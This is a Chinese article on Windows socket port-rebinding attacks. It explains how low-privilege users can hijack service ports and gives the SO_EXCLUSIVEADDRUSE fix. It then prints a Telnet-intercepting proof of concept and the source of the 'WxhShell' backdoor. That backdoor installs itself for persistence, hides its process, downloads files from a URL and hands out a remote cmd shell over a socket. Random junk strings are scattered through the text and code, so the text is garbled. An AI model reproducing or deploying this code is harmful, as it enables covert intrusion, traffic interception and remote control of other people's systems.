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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: clr]gib s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 4Cvo^k/I V_9\Ax'X saddr.sin_family = AF_INET; :k~ p=ko 1+-F3ROP saddr.sin_addr.s_addr = htonl(INADDR_ANY); -Q1~lN m: x/ P\qI bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Tn$|
Xa+:s OW8TiM
mK 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 6|1#Prj "||G`%aO+t 这意味着什么?意味着可以进行如下的攻击: S7CD#Y[s aQ)g7C 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 uJ,I6P~9 +jp^ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) u_$Spbc]/ ,Nev7X[0 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 QSOJHRl=C ?QzN\fY; 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 1:"ZS ]i E8We2T[^M 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 D&8*4> q -^Z=,< 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ~I%JVX% oF0*X$_X 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 _\FA}d@N et}s yPH #include jt",\%j #include \Eyy^pb #include 7me1:}4 #include ;p)fW/< DWORD WINAPI ClientThread(LPVOID lpParam); p5=VGKp int main() QBT_H"[ { $ZE"o`=7 WORD wVersionRequested; I44bm?[S DWORD ret; FDRpK5cw WSADATA wsaData; LpSd/_^b BOOL val; 3 jay V SOCKADDR_IN saddr; (8.|q6Nww SOCKADDR_IN scaddr; FYeUz$/ int err; <}Rr C#uiA SOCKET s; 7o64|@ 'j SOCKET sc; N/mC,7Q int caddsize; y]E ?\03" HANDLE mt; XAc#ywophi DWORD tid; }U7><I wVersionRequested = MAKEWORD( 2, 2 ); las|ougLy err = WSAStartup( wVersionRequested, &wsaData ); :+|os" if ( err != 0 ) { ,LJX printf("error!WSAStartup failed!\n"); v#`P?B\ return -1; }))JzrqAe } p[-buB] saddr.sin_family = AF_INET; FA;uu\ u-E*_%y //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 P(za8l> B^uQv|m saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); *a4nd_! saddr.sin_port = htons(23);
$mG&4Y if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) *.0#cP7 " { |^E#cI printf("error!socket failed!\n"); O486:tF return -1; D+vHl} } CzZmC]5 val = TRUE; X6]eQ PN2 //SO_REUSEADDR选项就是可以实现端口重绑定的 r$~
f[cA if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ?Y#0Je { za20Y?)[ printf("error!setsockopt failed!\n"); D0=H&Z[ return -1; )/F1,&/N`e } kiFTx
&gf //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 29E9ZjSK //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 /a$RJ6t&3 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 %maLo RJ RHGs(d7- if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 3yu{Q z5y, { qwU,D6 ret=GetLastError(); qE` printf("error!bind failed!\n"); n1xN:A return -1; |:i``gFj } 4W9#z~' listen(s,2); QX'/PO while(1) 4=>4fia&D { J34lu{'if caddsize = sizeof(scaddr); ^L(}c O //接受连接请求 tF<|Eja* sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); MNKB4C8> if(sc!=INVALID_SOCKET) `UpZk?k { n^;:V8k mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); =kUN ^hb if(mt==NULL) u"\HBbBx { b"y][5VE printf("Thread Creat Failed!\n"); 3cNF^?\= break; 4#Fz!Km } +`==US34 } ]3C&l+m$ot CloseHandle(mt); <[2]p\rj } sW B;?7P
closesocket(s); shwKB 5 WSACleanup(); 2c.~cNx`q[ return 0; 1Ig@gdmz } 37 wm[Z DWORD WINAPI ClientThread(LPVOID lpParam) XU Hu=2F { `n]y"rj' SOCKET ss = (SOCKET)lpParam; 95,y@~*] SOCKET sc; 33_YZOy^j unsigned char buf[4096]; \w!G SOCKADDR_IN saddr; n)w@\Uyc long num; *BYSfcX6 DWORD val; dQR2!yHEq DWORD ret; _'k?9eN` //如果是隐藏端口应用的话,可以在此处加一些判断 2yhtJ9/ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 AfG!(AF` saddr.sin_family = AF_INET; 4Wq{ch saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 9KVeFl saddr.sin_port = htons(23); cy)gN
g if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) #~54t0|Cd> { ip4:px- printf("error!socket failed!\n"); R ;^[4<& return -1; ur-&- G^ } t nz
BNW8 val = 100; jYet!l if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) P. P3/, { `!HGM> ret = GetLastError();
>b#z
o, return -1; ,ijgq EN } kIV/o if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Xi_>hL+R( { VY$hg ret = GetLastError(); \BaN?u)a return -1; *plsZ*Q8 } |QJ!5nb if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) HH3WZ^0> { Z mF}pa,gd printf("error!socket connect failed!\n"); SC`.VCfc. closesocket(sc); 2"C'Au closesocket(ss); Xvm.Un<N return -1; 0ANqEQX } 'MPt K while(1) J[;c} { k/O|ia6 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Qv,|*bf //如果是嗅探内容的话,可以再此处进行内容分析和记录 {IJV(%E //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 "[(_C&Ot4 num = recv(ss,buf,4096,0); T{bM/?g if(num>0) 9j:t}HV send(sc,buf,num,0); f.rz2)o else if(num==0) cu]2`DF break; @"-<m|lM num = recv(sc,buf,4096,0); 9]BpP0f\ if(num>0) QP)-O*+AA send(ss,buf,num,0); _L(6F
TJ else if(num==0) BV$lMLD{r break; \&]'GsfF } 7_d gQI3y closesocket(ss); TS)p2# closesocket(sc); :#"gQ^YNp return 0 ; CN\SxK`, } 9M:wUYHT C
7YZ;{t Z&@X4X"q ========================================================== MftW^7W- ]<A|GY0q1 下边附上一个代码,,WXhSHELL B%Dy;zdWd/ \CM( ========================================================== @3c5" `#A&v #include "stdafx.h" 41mg:xW(J /}-]n81m #include <stdio.h> 3_B .W #include <string.h> K&
<|94_k #include <windows.h> YQ
g03i #include <winsock2.h> z9U<Z^4z+ #include <winsvc.h> AtYe\_9$C #include <urlmon.h>
FAJ\9 [#$ -kd~ #pragma comment (lib, "Ws2_32.lib") OqtQLqN #pragma comment (lib, "urlmon.lib") 9
bYoWw N?U;G*G #define MAX_USER 100 // 最大客户端连接数 cBBc^SR #define BUF_SOCK 200 // sock buffer R+#|<e5@%o #define KEY_BUFF 255 // 输入 buffer sbZ)z#Tr Kjc"K36{L #define REBOOT 0 // 重启 t8\F7F P #define SHUTDOWN 1 // 关机 m:d
P, mS6
#\'Qa #define DEF_PORT 5000 // 监听端口 Bjq1za |3/=dG #define REG_LEN 16 // 注册表键长度 6E{HNPMb> #define SVC_LEN 80 // NT服务名长度 b/5?)!I 3bu VU&ap // 从dll定义API kjfZ*V=- typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ]Vo;ZY_\ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); '}e_8FS typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); c^><^LGb typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); E#v}// AIR,XlD // wxhshell配置信息 n'9Wl'
struct WSCFG { MzL^u8 int ws_port; // 监听端口 EeG7 %S
5( char ws_passstr[REG_LEN]; // 口令 A&jkc ' int ws_autoins; // 安装标记, 1=yes 0=no fPZt*A__ char ws_regname[REG_LEN]; // 注册表键名 E?z3 D*U char ws_svcname[REG_LEN]; // 服务名 tisSj ?+ char ws_svcdisp[SVC_LEN]; // 服务显示名 ?>cx;"xF char ws_svcdesc[SVC_LEN]; // 服务描述信息 >N62t9Ll[ char ws_passmsg[SVC_LEN]; // 密码输入提示信息 c [sydl int ws_downexe; // 下载执行标记, 1=yes 0=no s]50Y-C char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" t>N~PXr char ws_filenam[SVC_LEN]; // 下载后保存的文件名 D+P( ^[,Q2MHCT( }; 'FgBYy/ 9Bvi2
3 // default Wxhshell configuration @X+m,u struct WSCFG wscfg={DEF_PORT, dIg/g~ t" "xuhuanlingzhe", 3p6QJuSB 1, U>w#`Sy[ "Wxhshell", ayfR{RYi "Wxhshell", W@`2+} "WxhShell Service", NY
756B*
"Wrsky Windows CmdShell Service", C-E~z{ "Please Input Your Password: ", r&oR|-2hRk 1, ]$Pl[Vegy " http://www.wrsky.com/wxhshell.exe", S[J eW "Wxhshell.exe" $s+/OgG4H }; ADK)p? M<^]Ywq*p // 消息定义模块 [~*5uSG char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; kH~ z07: char *msg_ws_prompt="\n\r? for help\n\r#>"; _HF66)X7 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; $9+|_[ ]v. char *msg_ws_ext="\n\rExit."; ">cLPXX char *msg_ws_end="\n\rQuit."; |eykb?j` char *msg_ws_boot="\n\rReboot..."; i0Ejo;dB char *msg_ws_poff="\n\rShutdown..."; d-c<dS+R char *msg_ws_down="\n\rSave to "; (rqc_ZU5 01=nS? char *msg_ws_err="\n\rErr!"; x1]J char *msg_ws_ok="\n\rOK!"; m%m<-.'- WX
.Ax$fT char ExeFile[MAX_PATH]; Em)U`"j/9 int nUser = 0; Ln:6@Ok)5% HANDLE handles[MAX_USER]; oCfO:7 int OsIsNt; A,67)li3 dUN{@a\R0 SERVICE_STATUS serviceStatus; b S-o86u SERVICE_STATUS_HANDLE hServiceStatusHandle; z]_2lx2e U\*]cw // 函数声明 /2^"c+/'p int Install(void); PAng(tubl int Uninstall(void); F+o4f3N int DownloadFile(char *sURL, SOCKET wsh); (
jAC Lo int Boot(int flag); m)AF9#aT2 void HideProc(void); @k=UB&?I int GetOsVer(void); _%g L int Wxhshell(SOCKET wsl); y0vJ@ %` void TalkWithClient(void *cs); F m?j-' int CmdShell(SOCKET sock); [|".j#ZlK int StartFromService(void); U!d|5W.{Q int StartWxhshell(LPSTR lpCmdLine); .RNY}bbk '9{`Czc(Gb VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); \SSHj ONX VOID WINAPI NTServiceHandler( DWORD fdwControl ); "@z X{^: Q":,oZ2 // 数据结构和表定义 |I[/Fl: SERVICE_TABLE_ENTRY DispatchTable[] = (1EtC{
m { d1P|v(
`S9 {wscfg.ws_svcname, NTServiceMain}, s&hJ[$i {NULL, NULL} 3rVfBz }; b5Q|$E fj|b;8_}l // 自我安装 rp9?p% int Install(void) oyB
gF\ { (Bq^
D9 char svExeFile[MAX_PATH]; fmq''1u HKEY key; lArKfs/ strcpy(svExeFile,ExeFile); Gv[s86AP, GO?hB4 9T // 如果是win9x系统,修改注册表设为自启动 g,9&@g/ if(!OsIsNt) { 2FR+Z3&z if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { "(r%`.l=I RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); NSa6\.W) RegCloseKey(key); #x qiGK if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { aFaioE#h( RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %afN&T RegCloseKey(key); gw!d[{# return 0; Zg$S% 1(Q } +4$][3. } qnCjNN
} 3eg6 CdT else { @R-11wP)M Ol B9z // 如果是NT以上系统,安装为系统服务 I8a3: ) SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); k#bG&BF if (schSCManager!=0) ]1FLG*sB { "OwK- SC_HANDLE schService = CreateService nY7gST ( )=#e*1!b schSCManager, +OqEe[Wk# wscfg.ws_svcname, l\F71pwSI wscfg.ws_svcdisp, ? cXW\A( SERVICE_ALL_ACCESS, )X;051Q SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , /oW]? 9 SERVICE_AUTO_START, C1'y6{,@ SERVICE_ERROR_NORMAL, >23$_'2 svExeFile, O wuc9 NULL, r;xy/*%Mtj NULL, m}u)C&2> NULL, Vpne-PW NULL, |.,]0CRg NULL + %v1X&_\ ); t7l{^d_L if (schService!=0) 5x%Blkx { m%
3 D CloseServiceHandle(schService); PW|=IPS CloseServiceHandle(schSCManager); ~Th,<w*o strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
`!t-$i strcat(svExeFile,wscfg.ws_svcname); Q5ff&CE if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 7UY4* j|[C RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 4e/!BGkAS RegCloseKey(key); iMt3h8 return 0; [zBi*%5O } )l$}plT4 } 5VP0Xa ~ CloseServiceHandle(schSCManager); S
:8 } gs;^SRE I } (M"rpG>L O>pv/Ns return 1; t[J=8rhER } Vi: ^bv (w#t V* // 自我卸载 $:%E<j4Dn int Uninstall(void) j{YYG| { w8>h6x" HKEY key; g\fj6 G~o!u8^; if(!OsIsNt) { ?WHf%Ie2( if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 0W}qp?
RegDeleteValue(key,wscfg.ws_regname); ;RJ
8h
x RegCloseKey(key); |bz%SB if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { i?Pnyi RegDeleteValue(key,wscfg.ws_regname); IC&P-X_aP RegCloseKey(key); &G\mcstX return 0; / n_s"[I4 } +x=)Kp> } ?T2>juf]5~ } hK{H7Ey* else { sde>LZet/ q6)fP4MQ] SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); IO)#O< if (schSCManager!=0) s91[@rh/ { >i,_qe?V:w SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); z'"7zLQ if (schService!=0) #M16qOEw { bO2?DszT5 if(DeleteService(schService)!=0) { }a||@unr CloseServiceHandle(schService); WA8<:#{e CloseServiceHandle(schSCManager); ![^pAEgx return 0; ve
ysW(z } (tX3?[ii CloseServiceHandle(schService); iCF},W+ } }I&.xzJ CloseServiceHandle(schSCManager); dHUbaf:e)T } iyl
i/3| } R~4X?@ZB 3NtUB;! return 1; Gv&G2^ } o,`"*][wd Lj3o-@\*j // 从指定url下载文件 Z5>~l int DownloadFile(char *sURL, SOCKET wsh) ::oFL#+ { s2{SbOBis HRESULT hr; i=aR~ char seps[]= "/"; $]We | char *token; z6iKIw
$ char *file; {h@\C|nF char myURL[MAX_PATH]; 4w^o ! char myFILE[MAX_PATH]; 1IA1; iPTQqx-m$7 strcpy(myURL,sURL); Q?k*3A token=strtok(myURL,seps); Q v9q~l while(token!=NULL) Tu#;Y."T { bV8+Eu file=token; A)&FcMO*z token=strtok(NULL,seps); J,yKO(}<C } ^HSxE OOqT 0wN GetCurrentDirectory(MAX_PATH,myFILE); 32[}@f2q strcat(myFILE, "\\"); y&zFS4"x strcat(myFILE, file); \X8b!41 send(wsh,myFILE,strlen(myFILE),0); _6NUtU send(wsh,"...",3,0); W`;;fJe hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); W[8Kia-OD if(hr==S_OK) R |c=I}@F return 0; DXiA4ihr= else *): |WDR return 1; t1FtYXv`/ %":3xj'EEI } !g|O.mt _Je4&KU // 系统电源模块 VsQ|t/|# int Boot(int flag) p R'J4~ { AByl1)r| HANDLE hToken; QH/py TOKEN_PRIVILEGES tkp; G?W:O{n3 m-AF&( ;K if(OsIsNt) { ,X?/FAcb OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); DK IH{:L7 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); b(*\4n tkp.PrivilegeCount = 1; +:FXtO>n" tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; =l`)b AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); t?GH
V3V if(flag==REBOOT) { g3tE.!a5- if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 75# 8P?i return 0; I=0c\ U} } hd)Jq'MCS else { X0.H(p#s if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Xh@K89`uX return 0; NHd@s#@ } V:n0BlZ,B } 7Jn%XxHq else { {iD/0q if(flag==REBOOT) { UQl?_[G if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) #1<m\z 7l return 0; kKyU?/aj } |qNe_) else { ,!:c6F+ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) $C[z]}iOi return 0; %N8I'*u } ._}}@V_/ } .(@=L1C<}J ,->ihxf return 1; pv]@}+<Dt } `d_T3^ayu Z0<Vss // win9x进程隐藏模块 |;gx;qp4cN void HideProc(void) gT)(RS`_) { !<w6j-S |J&\/8Q HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); \Id8X`,eD if ( hKernel != NULL ) FQWjL>NB { /~"-q pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); u3h(EAH> ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 7U [C=NL FreeLibrary(hKernel); [+[W\6 } c~T{; v^C\
GDH return; (PpY*jKR } kepuh%KY[
: /5+p>Ep} // 获取操作系统版本 UynGG@P@ int GetOsVer(void) G@s:|oe { #(]D]f[@ OSVERSIONINFO winfo; :DH@zR winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); wX] _Abk GetVersionEx(&winfo); OS[
s Qo5 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) =]@Bc
7@ return 1; UC&$8^ else 1RkN^FZOxq return 0; L4iWR/& } kHK<~srB ,88B@a // 客户端句柄模块 ,.Gp_BI int Wxhshell(SOCKET wsl) m0G"Aj { 4W>DW`{ SOCKET wsh; jnV#Q
; struct sockaddr_in client; ],c0nz^%BR DWORD myID; ]Jz=.F sO u/tJ])~@ while(nUser<MAX_USER) n^'d8Y( { 6Emn@Mn= int nSize=sizeof(client); n[/D>Pi wsh=accept(wsl,(struct sockaddr *)&client,&nSize); W@}@5,}f> if(wsh==INVALID_SOCKET) return 1; $I5|rB/4? #|\|G3Si
% handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); -dMH>e0 if(handles[nUser]==0) $(&uaDYv closesocket(wsh); eHx {[J? else xEG:KSH nUser++; Xp;'Wa"@ } 3B#fnj WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); z7fX!'3V ZZi9<g1 return 0; q4:zr
} Q*1Avy6] K%9!1' // 关闭 socket \1R*M void CloseIt(SOCKET wsh) PR;Bxy { V xN!Ki= closesocket(wsh); Ps!
\k%FUl nUser--; `DSDu Jw% ExitThread(0); O-AC$C[d } .yDR2sW 89[/UxM) // 客户端请求句柄 /p-k'387 void TalkWithClient(void *cs) *h?*RUQ { g9GPyU }T%E;m- SOCKET wsh=(SOCKET)cs; w^~s4Q_>> char pwd[SVC_LEN]; ~Q- /O~ char cmd[KEY_BUFF]; c7rC !v
char chr[1]; k H06Cb int i,j; >U:-U"rA? SOD3MsAK while (nUser < MAX_USER) { D$hK M7DoAS{6e if(wscfg.ws_passstr) { !ggHLZRlz if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); T+V:vuK //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^b&hy&ag //ZeroMemory(pwd,KEY_BUFF); @&h_+|:- i=0; <Rt0
V%}- while(i<SVC_LEN) { *E@as gYL#} ) g // 设置超时 <95*z @ fd_set FdRead; uL-$^], struct timeval TimeOut; S{cK~sZj FD_ZERO(&FdRead); Dhft[mvo FD_SET(wsh,&FdRead); en MHKN g TimeOut.tv_sec=8; pfk)_;>, TimeOut.tv_usec=0; Y
Odwd}M int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 5IG#-Q(6sp if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); t-FrF </0 <l)I%1T_c if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 1
RyvPP pwd =chr[0]; ~\R+p~> if(chr[0]==0xd || chr[0]==0xa) { &53LJlL
Co pwd=0; S?H
qrf7< break; EU7mP
MxJ } =sXk,I; i++; v~O2y>8Z } BfvvJh_ j&?@:Zg v // 如果是非法用户,关闭 socket {NIE:MXX if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); )J|~'{z: } k8sjW!2 _`]YWvh send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); LwCf}4u" send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); bq}o#d5p-_ ;x=0+0JD while(1) { A3e83g~L gM#]o QOGE ZeroMemory(cmd,KEY_BUFF); rcMSso2 [%6"UH
r // 自动支持客户端 telnet标准 "\Nn,3qp j=0; *+cW)klm while(j<KEY_BUFF) { jTz~
V&^ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); k'{Bhi4 cmd[j]=chr[0]; &qFy$`" if(chr[0]==0xa || chr[0]==0xd) { RS[QZOoW} cmd[j]=0; 7pz #%Hf break; [Gb8o' } &Ukh j++; u"1Zv! } ER$qL"H
U h>'Mh;+ // 下载文件 KP]{=~( if(strstr(cmd,"http://")) { HO
=\ send(wsh,msg_ws_down,strlen(msg_ws_down),0); L(qQ,1VY if(DownloadFile(cmd,wsh)) NXDuO_# send(wsh,msg_ws_err,strlen(msg_ws_err),0); PzDekyl else %FO#j 6 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); sM'%apM# } OuF%!~V else { -|A`+1-R+ 3rw<#t;v switch(cmd[0]) { ;sn]Blpq gCY%@?YyN // 帮助 r5g:#mF" case '?': { +>S\.h
s4 send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); +(3U_]Lu break; ]728x["(19 } hUGP3ExC* // 安装 P<A_7Ho case 'i': { E;AOCbV*$ if(Install()) =Hwlo! send(wsh,msg_ws_err,strlen(msg_ws_err),0); gG6j>%y else a"&Gs/QKSC send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); fC$(l@O? break; YRm6~c } a8laPN // 卸载 '6zD`Q case 'r': { Q9h;`G
7t if(Uninstall()) Y<0R5rO send(wsh,msg_ws_err,strlen(msg_ws_err),0); lo:{T_ay else U^.kp#x# send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); U sS"WflB break; !O}^ Y } 8\/$cP"<^ // 显示 wxhshell 所在路径 s/0S]P]}f case 'p': { hFp\,QSx
char svExeFile[MAX_PATH]; cg]>*lH strcpy(svExeFile,"\n\r"); B
LI
9(@ strcat(svExeFile,ExeFile); +<o}@hefY2 send(wsh,svExeFile,strlen(svExeFile),0); =AIeYUh break; .Do(iYO.L } _8I\! // 重启 ]n9gnE case 'b': { r?j2%M\ send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); oW
\k%Vj if(Boot(REBOOT)) |)}&:xA% send(wsh,msg_ws_err,strlen(msg_ws_err),0); O4.`N?Xq else { ?6T\uzL +% closesocket(wsh); J70r` ExitThread(0); }a?( }{z- } 6(0ME$ break; JULns#tx} } f\U(7)2 // 关机 O-jpS?@ case 'd': { Q^!x8oUF send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); eN{ewn#0. if(Boot(SHUTDOWN)) ]u<8jr send(wsh,msg_ws_err,strlen(msg_ws_err),0); wXKg^%t\ else { ZD;1{ closesocket(wsh); [.j&~\AG ExitThread(0); NwbX]pDT } !/RL.`!> break; SWWeN#Q } ews{0 // 获取shell xjK@Q1MJ case 's': { FX,kmre3 CmdShell(wsh); d;FOmo4 closesocket(wsh); %("WoBPH` ExitThread(0); yYN _]&ag break; fuao*L] } N,ysv/zq7 // 退出 T7qE
2 case 'x': { 6s(.ul send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); c>.=;'2 CloseIt(wsh); s9F{UN3 break; Or<OmxJg } .6HHUy // 离开 1}ER+;If case 'q': { `*-rz<G send(wsh,msg_ws_end,strlen(msg_ws_end),0); 7+;CA+; closesocket(wsh); h6~H5X WSACleanup(); -a\[`JHi exit(1); |kK_B
:K break; +Jw+rjnP }
ow2tfylV } T7#}&> } 2C[xrZa^ h;DLD8L // 提示信息 )PCh;P0C if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); mZ0'-ax
} &MJcLM] } uRCZGg&V?# ]o2 jS D return; g(QT"O!dY } CX3yIe~u /5N`Euw // shell模块句柄 vugGMP;D( int CmdShell(SOCKET sock) f=paa/k0 { D*}_L
STARTUPINFO si; uq\[^ ZeroMemory(&si,sizeof(si)); }UX0 eI4 si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; $iMbtA5aQ si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; hOj(*7__ PROCESS_INFORMATION ProcessInfo; RH~I/4e char cmdline[]="cmd"; N:~CN1 CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); w42=tN+B return 0; OOZxs?pR } L['g')g. X[J? // 自身启动模式 iCIU'yI int StartFromService(void) m5
l,Lxj { Pq3m(+gf typedef struct cxz\1Vphd { sh)[|?7z DWORD ExitStatus; wu~ ?P ` DWORD PebBaseAddress; Btyp=wfN[ DWORD AffinityMask; 6H^=\ DWORD BasePriority; |"aop| ULONG UniqueProcessId; ^8V8,C) ULONG InheritedFromUniqueProcessId; )NmYgd~% } PROCESS_BASIC_INFORMATION; :CGh$d] + CfEACH4_ PROCNTQSIP NtQueryInformationProcess; H: ]'r5sw >)6k)$x%% static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; W*~[KdgC static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; .f-s+J&ED ~nRbb;M HANDLE hProcess; "5@\"L PROCESS_BASIC_INFORMATION pbi; 1~y\MD*-j L XHDX HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ]PQ6 em if(NULL == hInst ) return 0; N?v}\ PU +o|I@7f g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); q);@iiJ- g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 